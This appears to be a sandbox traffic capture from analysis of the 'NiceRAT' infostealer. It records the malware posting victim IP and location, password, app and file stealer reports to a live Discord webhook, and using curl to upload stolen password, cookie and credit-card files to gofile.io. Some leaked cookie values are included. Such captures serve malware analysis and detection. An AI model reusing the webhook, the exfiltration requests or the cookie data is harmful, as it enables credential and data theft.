2024-05-12 21:37:16 UTC	157	IN	Data Raw: 39 32 0d 0a 63 61 6c 6c 62 61 63 6b 28 7b 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 52 4f 22 2c 22 63 6f 75 6e 74 72 79 5f 6e 61 6d 65 22 3a 22 52 6f 6d 61 6e 69 61 22 2c 22 63 69 74 79 22 3a 6e 75 6c 6c 2c 22 70 6f 73 74 61 6c 22 3a 6e 75 6c 6c 2c 22 6c 61 74 69 74 75 64 65 22 3a 34 36 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 32 35 2c 22 49 50 76 34 22 3a 22 38 31 2e 31 38 31 2e 36 30 2e 31 31 22 2c 22 73 74 61 74 65 22 3a 6e 75 6c 6c 7d 29 0d 0a 30 0d 0a 0d 0a Data Ascii: 92callback({"country_code":"RO","country_name":"Romania","city":null,"postal":null,"latitude":46,"longitude":25,"IPv4":"81.181.60.11","state":null})0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49743	162.159.135.232	443	7556	C:\Users\user\AppData\Roaming\SearchServices.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-12 21:37:17 UTC	332	OUT	POST /api/webhooks/1237731643847082035/mvyjDHB9LjGLqjIR_l5GQjR3Wb67_CKP4nv7QSU0l32ppHjzAqKj2Qs_xIbH3qzL3Uy5 HTTP/1.1 Accept-Encoding: identity Content-Length: 318 Host: discord.com Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 Connection: close
2024-05-12 21:37:18 UTC	318	OUT	Data Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 72 6f 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 31 2e 31 38 31 2e 36 30 2e 31 31 20 28 52 6f 6d 61 6e 69 61 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 4e 69 63 65 52 41 54 20 7c 20 41 70 70 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 5c 6e 5c 6e 22 2c 20 22 63 6f 6c 6f 72 22 3a 20 32 38 39 35 36 36 37 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 4e 69 63 65 52 41 54 22 2c 20 22 69 63 6f 6e 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 69 2e 69 6d 67 75 72 2e 63 6f 6d 2f 69 46 6c 39 70 4a 4b 2e 70 6e 67 22 7d 7d 5d 2c 20 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 4e 69 63 65 52 41 54 22 2c 20 22 61 76 61 Data Ascii: {"content": ":flag_ro: - `user \| 81.181.60.11 (Romania)`", "embeds": [{"title": "NiceRAT \| App Stealer", "description": "\n\n", "color": 2895667, "footer": {"text": "NiceRAT", "icon_url": "https://i.imgur.com/iFl9pJK.png"}}], "username": "NiceRAT", "ava
2024-05-12 21:37:18 UTC	1354	IN	HTTP/1.1 204 No Content Date: Sun, 12 May 2024 21:37:18 GMT Content-Type: text/html; charset=utf-8 Connection: close set-cookie: __dcfduid=cea5dd8210a711ef90d05a424b668548; Expires=Fri, 11-May-2029 21:37:18 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1715549839 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FcLjsHtbtaA5cRBbt0XcKA2c6ofV1OpGFNAHOwc7ZN94jk7Xa5JTFujzOREEJTMDSKIAJevmZXHxz%2BlSzXoCslaSvj75TtHwBFMtovd3CM7O%2FWBAkdtSuZgINOrN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: __sdcfduid=cea5dd8210a711ef90d05a424b66854876d490624e62aa1f6bde6e9e3716013644178c8f2de3cd5f232bbe26a8a5cd0e; Expires=Fri, 11-May-2029 21:37:18 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __cfruid=26afee2033211b373271a61f2af682be3e41f868-1715549838; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
2024-05-12 21:37:18 UTC	211	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 63 66 75 76 69 64 3d 68 6c 47 43 37 4c 4d 76 42 67 6b 41 79 72 70 64 61 45 71 70 55 56 76 4e 4a 48 7a 75 66 66 63 55 41 6a 61 4d 6e 66 7a 72 52 67 38 2d 31 37 31 35 35 34 39 38 33 38 34 37 35 2d 30 2e 30 2e 31 2e 31 2d 36 30 34 38 30 30 30 30 30 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 64 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 38 32 64 38 63 39 39 31 61 63 36 33 30 63 62 2d 53 45 41 0d 0a 0d 0a Data Ascii: Set-Cookie: _cfuvid=hlGC7LMvBgkAyrpdaEqpUVvNJHzuffcUAjaMnfzrRg8-1715549838475-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 882d8c991ac630cb-SEA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49742	31.14.70.245	443	5804	C:\Windows\System32\curl.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-12 21:37:18 UTC	198	OUT	POST /uploadFile HTTP/1.1 Host: store4.gofile.io User-Agent: curl/7.83.1 Accept: / Content-Length: 193 Content-Type: multipart/form-data; boundary=------------------------43a1cee7db647f33
2024-05-12 21:37:18 UTC	193	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 34 33 61 31 63 65 65 37 64 62 36 34 37 66 33 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 63 72 70 61 73 73 77 6f 72 64 73 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 34 33 61 31 63 65 65 37 64 62 36 34 37 66 33 33 2d 2d 0d 0a Data Ascii: --------------------------43a1cee7db647f33Content-Disposition: form-data; name="file"; filename="crpasswords.txt"Content-Type: text/plain--------------------------43a1cee7db647f33--
2024-05-12 21:37:18 UTC	509	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.25.3 Date: Sun, 12 May 2024 21:37:18 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 15 Connection: close Access-Control-Allow-Headers: Accept, Accept-Language, Content-Language, Content-Type, Content-Length, Range, Authorization Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Cache-Control, Content-Encoding, Content-Range X-Content-Type-Options: nosniff
2024-05-12 21:37:18 UTC	15	IN	Data Raw: 65 72 72 6f 72 2d 6d 69 6d 65 74 79 70 65 0a Data Ascii: error-mimetype

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49749	31.14.70.245	443	7412	C:\Windows\System32\curl.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-12 21:37:19 UTC	199	OUT	POST /uploadFile HTTP/1.1 Host: store4.gofile.io User-Agent: curl/7.83.1 Accept: / Content-Length: 3349 Content-Type: multipart/form-data; boundary=------------------------0998a48a9f3c50d2
2024-05-12 21:37:19 UTC	3349	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 30 39 39 38 61 34 38 61 39 66 33 63 35 30 64 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 63 72 63 6f 6f 6b 69 65 73 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 0d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 09 54 52 55 45 09 2f 09 46 41 4c 53 45 09 32 35 39 37 35 37 33 34 35 36 09 4e 49 44 09 35 31 31 3d 6a 38 53 51 55 54 6c 74 6e 56 55 35 63 4f 41 65 79 7a 71 53 78 57 2d 71 48 4f 61 6b 52 75 42 48 44 51 47 4c 54 47 65 63 65 43 39 5a 35 72 52 7a 6b 35 74 72 4d 4b 62 34 43 75 5a 43 5f 43 46 6d 63 37 4b 46 Data Ascii: --------------------------0998a48a9f3c50d2Content-Disposition: form-data; name="file"; filename="crcookies.txt"Content-Type: text/plain.google.comTRUE/FALSE2597573456NID511=j8SQUTltnVU5cOAeyzqSxW-qHOakRuBHDQGLTGeceC9Z5rRzk5trMKb4CuZC_CFmc7KF
2024-05-12 21:37:20 UTC	449	IN	HTTP/1.1 200 OK Server: nginx/1.25.3 Date: Sun, 12 May 2024 21:37:20 GMT Content-Type: application/json Content-Length: 303 Connection: close Access-Control-Allow-Headers: Accept, Accept-Language, Content-Language, Content-Type, Content-Length, Range, Authorization Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Cache-Control, Content-Encoding, Content-Range
2024-05-12 21:37:20 UTC	303	IN	Data Raw: 7b 22 64 61 74 61 22 3a 7b 22 63 6f 64 65 22 3a 22 32 30 49 6a 38 6a 22 2c 22 64 6f 77 6e 6c 6f 61 64 50 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 67 6f 66 69 6c 65 2e 69 6f 2f 64 2f 32 30 49 6a 38 6a 22 2c 22 66 69 6c 65 49 64 22 3a 22 30 63 34 35 33 63 65 37 2d 64 66 35 64 2d 34 39 62 39 2d 61 62 61 35 2d 37 30 65 64 36 33 35 38 61 36 62 34 22 2c 22 66 69 6c 65 4e 61 6d 65 22 3a 22 63 72 63 6f 6f 6b 69 65 73 2e 74 78 74 22 2c 22 67 75 65 73 74 54 6f 6b 65 6e 22 3a 22 67 51 47 6e 47 36 79 68 71 33 33 45 30 50 46 35 46 52 43 69 4e 73 49 7a 30 56 71 6f 66 67 55 51 22 2c 22 6d 64 35 22 3a 22 38 63 36 66 66 33 34 35 35 31 65 35 64 34 35 61 39 65 36 30 61 30 33 64 33 31 34 38 37 30 35 33 22 2c 22 70 61 72 65 6e 74 46 6f 6c 64 65 72 22 3a 22 61 61 32 35 35 36 Data Ascii: {"data":{"code":"20Ij8j","downloadPage":"https://gofile.io/d/20Ij8j","fileId":"0c453ce7-df5d-49b9-aba5-70ed6358a6b4","fileName":"crcookies.txt","guestToken":"gQGnG6yhq33E0PF5FRCiNsIz0VqofgUQ","md5":"8c6ff34551e5d45a9e60a03d31487053","parentFolder":"aa2556

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	49753	31.14.70.245	443

Timestamp	Bytes transferred	Direction	Data
2024-05-12 21:37:21 UTC	198	OUT	POST /uploadFile HTTP/1.1 Host: store4.gofile.io User-Agent: curl/7.83.1 Accept: / Content-Length: 195 Content-Type: multipart/form-data; boundary=------------------------b146f33227f93f63
2024-05-12 21:37:21 UTC	195	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 62 31 34 36 66 33 33 32 32 37 66 39 33 66 36 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 63 72 63 72 65 64 69 74 63 61 72 64 73 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 62 31 34 36 66 33 33 32 32 37 66 39 33 66 36 33 2d 2d 0d 0a Data Ascii: --------------------------b146f33227f93f63Content-Disposition: form-data; name="file"; filename="crcreditcards.txt"Content-Type: text/plain--------------------------b146f33227f93f63--
2024-05-12 21:37:22 UTC	509	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.25.3 Date: Sun, 12 May 2024 21:37:21 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 15 Connection: close Access-Control-Allow-Headers: Accept, Accept-Language, Content-Language, Content-Type, Content-Length, Range, Authorization Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Cache-Control, Content-Encoding, Content-Range X-Content-Type-Options: nosniff
2024-05-12 21:37:22 UTC	15	IN	Data Raw: 65 72 72 6f 72 2d 6d 69 6d 65 74 79 70 65 0a Data Ascii: error-mimetype

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49754	162.159.135.232	443	7556	C:\Users\user\AppData\Roaming\SearchServices.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-12 21:37:22 UTC	333	OUT	POST /api/webhooks/1237731643847082035/mvyjDHB9LjGLqjIR_l5GQjR3Wb67_CKP4nv7QSU0l32ppHjzAqKj2Qs_xIbH3qzL3Uy5 HTTP/1.1 Accept-Encoding: identity Content-Length: 1624 Host: discord.com Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 Connection: close
2024-05-12 21:37:22 UTC	1624	OUT	Data Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 72 6f 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 31 2e 31 38 31 2e 36 30 2e 31 31 20 28 52 6f 6d 61 6e 69 61 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 4e 69 63 65 52 41 54 20 7c 20 50 61 73 73 77 6f 72 64 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 2a 2a 46 6f 75 6e 64 2a 2a 3a 5c 6e 5c 6e 5c 6e 2a 2a 44 61 74 61 3a 2a 2a 5c 6e 3c 61 3a 68 69 72 61 5f 6b 61 73 61 61 6e 61 68 74 61 72 69 3a 38 38 36 39 34 32 38 35 36 39 36 39 38 37 35 34 37 36 3e 20 5c 75 32 30 32 32 20 2a 2a 30 2a 2a 20 50 61 73 73 77 6f 72 64 73 20 46 6f 75 6e 64 5c 6e 3c 61 3a 43 48 5f 49 63 6f 6e 41 72 72 6f 77 52 69 67 68 74 3a 37 31 35 35 38 35 33 32 Data Ascii: {"content": ":flag_ro: - `user \| 81.181.60.11 (Romania)`", "embeds": [{"title": "NiceRAT \| Password Stealer", "description": "Found:\n\n\nData:\n<a:hira_kasaanahtari:886942856969875476> \u2022 0 Passwords Found\n<a:CH_IconArrowRight:71558532
2024-05-12 21:37:23 UTC	1358	IN	HTTP/1.1 204 No Content Date: Sun, 12 May 2024 21:37:23 GMT Content-Type: text/html; charset=utf-8 Connection: close set-cookie: __dcfduid=d166c86a10a711efa85f42dc205c6330; Expires=Fri, 11-May-2029 21:37:23 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1715549844 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=51Paq1IusNpzENx1NaLfnF0G87WTBrMd4uiqHICRcBg5V81gtZj%2FyfuNUCuw%2Bc85zEpfJPvIjiKDMmk%2FQT%2FQ4h3lHQUOz8X8lvao4QYEdNbpY6%2BErUNkS5bC7SSy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: __sdcfduid=d166c86a10a711efa85f42dc205c633029656438071a1360c6f514ac8675cfcf02bea88274993b0f3b822bbce3213f15; Expires=Fri, 11-May-2029 21:37:23 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __cfruid=a86beca31f3e9cbb51496b4d82fc274c7481e7dc-1715549843; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
2024-05-12 21:37:23 UTC	211	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 63 66 75 76 69 64 3d 62 65 46 77 50 36 56 48 30 4f 33 46 7a 65 4d 7a 74 4d 61 51 63 33 53 4d 50 49 36 4b 30 46 4f 66 64 68 54 67 72 33 4f 55 34 75 4d 2d 31 37 31 35 35 34 39 38 34 33 30 39 32 2d 30 2e 30 2e 31 2e 31 2d 36 30 34 38 30 30 30 30 30 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 64 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 38 32 64 38 63 62 35 34 39 38 65 63 33 37 30 2d 53 45 41 0d 0a 0d 0a Data Ascii: Set-Cookie: _cfuvid=beFwP6VH0O3FzeMztMaQc3SMPI6K0FOfdhTgr3OU4uM-1715549843092-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 882d8cb5498ec370-SEA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49755	162.159.135.232	443	7556	C:\Users\user\AppData\Roaming\SearchServices.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-12 21:37:23 UTC	332	OUT	POST /api/webhooks/1237731643847082035/mvyjDHB9LjGLqjIR_l5GQjR3Wb67_CKP4nv7QSU0l32ppHjzAqKj2Qs_xIbH3qzL3Uy5 HTTP/1.1 Accept-Encoding: identity Content-Length: 310 Host: discord.com Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 Connection: close
2024-05-12 21:37:23 UTC	310	OUT	Data Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 72 6f 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 31 2e 31 38 31 2e 36 30 2e 31 31 20 28 52 6f 6d 61 6e 69 61 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 63 6f 6c 6f 72 22 3a 20 32 38 39 35 36 36 37 2c 20 22 66 69 65 6c 64 73 22 3a 20 5b 5d 2c 20 22 74 69 74 6c 65 22 3a 20 22 4e 69 63 65 52 41 54 20 7c 20 46 69 6c 65 20 53 74 65 61 6c 65 72 22 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 4e 69 63 65 52 41 54 22 2c 20 22 69 63 6f 6e 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 69 2e 69 6d 67 75 72 2e 63 6f 6d 2f 69 46 6c 39 70 4a 4b 2e 70 6e 67 22 7d 7d 5d 2c 20 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 4e 69 63 65 52 41 54 22 2c 20 22 61 76 61 74 61 72 5f 75 72 6c 22 Data Ascii: {"content": ":flag_ro: - `user \| 81.181.60.11 (Romania)`", "embeds": [{"color": 2895667, "fields": [], "title": "NiceRAT \| File Stealer", "footer": {"text": "NiceRAT", "icon_url": "https://i.imgur.com/iFl9pJK.png"}}], "username": "NiceRAT", "avatar_url"
2024-05-12 21:37:24 UTC	1348	IN	HTTP/1.1 204 No Content Date: Sun, 12 May 2024 21:37:24 GMT Content-Type: text/html; charset=utf-8 Connection: close set-cookie: __dcfduid=d2117ca610a711ef8518d654eee02d06; Expires=Fri, 11-May-2029 21:37:24 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1715549845 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7tPiVDAQLtYCP7NRWK26CQizJa9ZoeTGGhSmRF7b2tMYybHVlLTFRboGlNTvBFr11ontNWKHGJJZidTvdcvluCEsvymiVFDVuuaMnHQGjUWfTQPtDIhlQeOm0Lo1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: __sdcfduid=d2117ca610a711ef8518d654eee02d06596cc66f7e2e8981cf9247ed940c0eb047819fa6e6f6ca6ef39d6eaeef24257c; Expires=Fri, 11-May-2029 21:37:24 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __cfruid=253911fea731e3cad77327952b6c0f636ac4171d-1715549844; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
2024-05-12 21:37:24 UTC	211	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 63 66 75 76 69 64 3d 6c 33 76 5f 35 62 49 65 7a 66 49 4c 34 62 36 72 32 4b 2e 6f 7a 57 53 46 42 4f 7a 70 41 32 63 30 67 72 56 5f 5f 65 4c 53 52 44 30 2d 31 37 31 35 35 34 39 38 34 34 32 31 31 2d 30 2e 30 2e 31 2e 31 2d 36 30 34 38 30 30 30 30 30 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 64 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 38 32 64 38 63 62 64 31 65 63 32 37 35 65 62 2d 53 45 41 0d 0a 0d 0a Data Ascii: Set-Cookie: _cfuvid=l3v_5bIezfIL4b6r2K.ozWSFBOzpA2c0grV__eLSRD0-1715549844211-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 882d8cbd1ec275eb-SEA

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49757	104.26.12.205	443

Timestamp	Bytes transferred	Direction	Data
2024-05-12 21:37:26 UTC	117	OUT	GET / HTTP/1.1 Accept-Encoding: identity Host: api.ipify.org User-Agent: Python-urllib/3.10 Connection: close
2024-05-12 21:37:26 UTC	211	IN	HTTP/1.1 200 OK Date: Sun, 12 May 2024 21:37:26 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 882d8ccdf9ba76cd-SEA
2024-05-12 21:37:26 UTC	12	IN	Data Raw: 38 31 2e 31 38 31 2e 36 30 2e 31 31 Data Ascii: 81.181.60.11

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49758	51.38.43.18	443

Timestamp	Bytes transferred	Direction	Data
2024-05-12 21:37:27 UTC	126	OUT	GET /getServer HTTP/1.1 Accept-Encoding: identity Host: api.gofile.io User-Agent: Python-urllib/3.10 Connection: close
2024-05-12 21:37:28 UTC	1092	IN	HTTP/1.1 200 OK Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Content-Type, Authorization Access-Control-Allow-Methods: GET, POST, OPTIONS, PUT, DELETE, HEAD Access-Control-Allow-Origin: * Content-Length: 42 Content-Security-Policy: default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests Content-Type: application/json; charset=utf-8 Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: cross-origin Date: Sun, 12 May 2024 21:37:28 GMT Etag: W/"2a-4631fb42WPfD17k7JGczdnxpWhM" Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 Connection: close
2024-05-12 21:37:28 UTC	42	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 61 74 61 22 3a 7b 22 73 65 72 76 65 72 22 3a 22 73 74 6f 72 65 34 22 7d 7d Data Ascii: {"status":"ok","data":{"server":"store4"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49759	159.89.102.253	443

Timestamp	Bytes transferred	Direction	Data
2024-05-12 21:37:29 UTC	140	OUT	GET /jsonp/81.181.60.11 HTTP/1.1 Accept-Encoding: identity Host: geolocation-db.com User-Agent: Python-urllib/3.10 Connection: close
2024-05-12 21:37:29 UTC	206	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Sun, 12 May 2024 21:37:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: *
2024-05-12 21:37:29 UTC	157	IN	Data Raw: 39 32 0d 0a 63 61 6c 6c 62 61 63 6b 28 7b 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 52 4f 22 2c 22 63 6f 75 6e 74 72 79 5f 6e 61 6d 65 22 3a 22 52 6f 6d 61 6e 69 61 22 2c 22 63 69 74 79 22 3a 6e 75 6c 6c 2c 22 70 6f 73 74 61 6c 22 3a 6e 75 6c 6c 2c 22 6c 61 74 69 74 75 64 65 22 3a 34 36 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 32 35 2c 22 49 50 76 34 22 3a 22 38 31 2e 31 38 31 2e 36 30 2e 31 31 22 2c 22 73 74 61 74 65 22 3a 6e 75 6c 6c 7d 29 0d 0a 30 0d 0a 0d 0a Data Ascii: 92callback({"country_code":"RO","country_name":"Romania","city":null,"postal":null,"latitude":46,"longitude":25,"IPv4":"81.181.60.11","state":null})0

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49763	162.159.135.232	443

Timestamp	Bytes transferred	Direction	Data
2024-05-12 21:37:30 UTC	332	OUT	POST /api/webhooks/1237731643847082035/mvyjDHB9LjGLqjIR_l5GQjR3Wb67_CKP4nv7QSU0l32ppHjzAqKj2Qs_xIbH3qzL3Uy5 HTTP/1.1 Accept-Encoding: identity Content-Length: 318 Host: discord.com Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 Connection: close
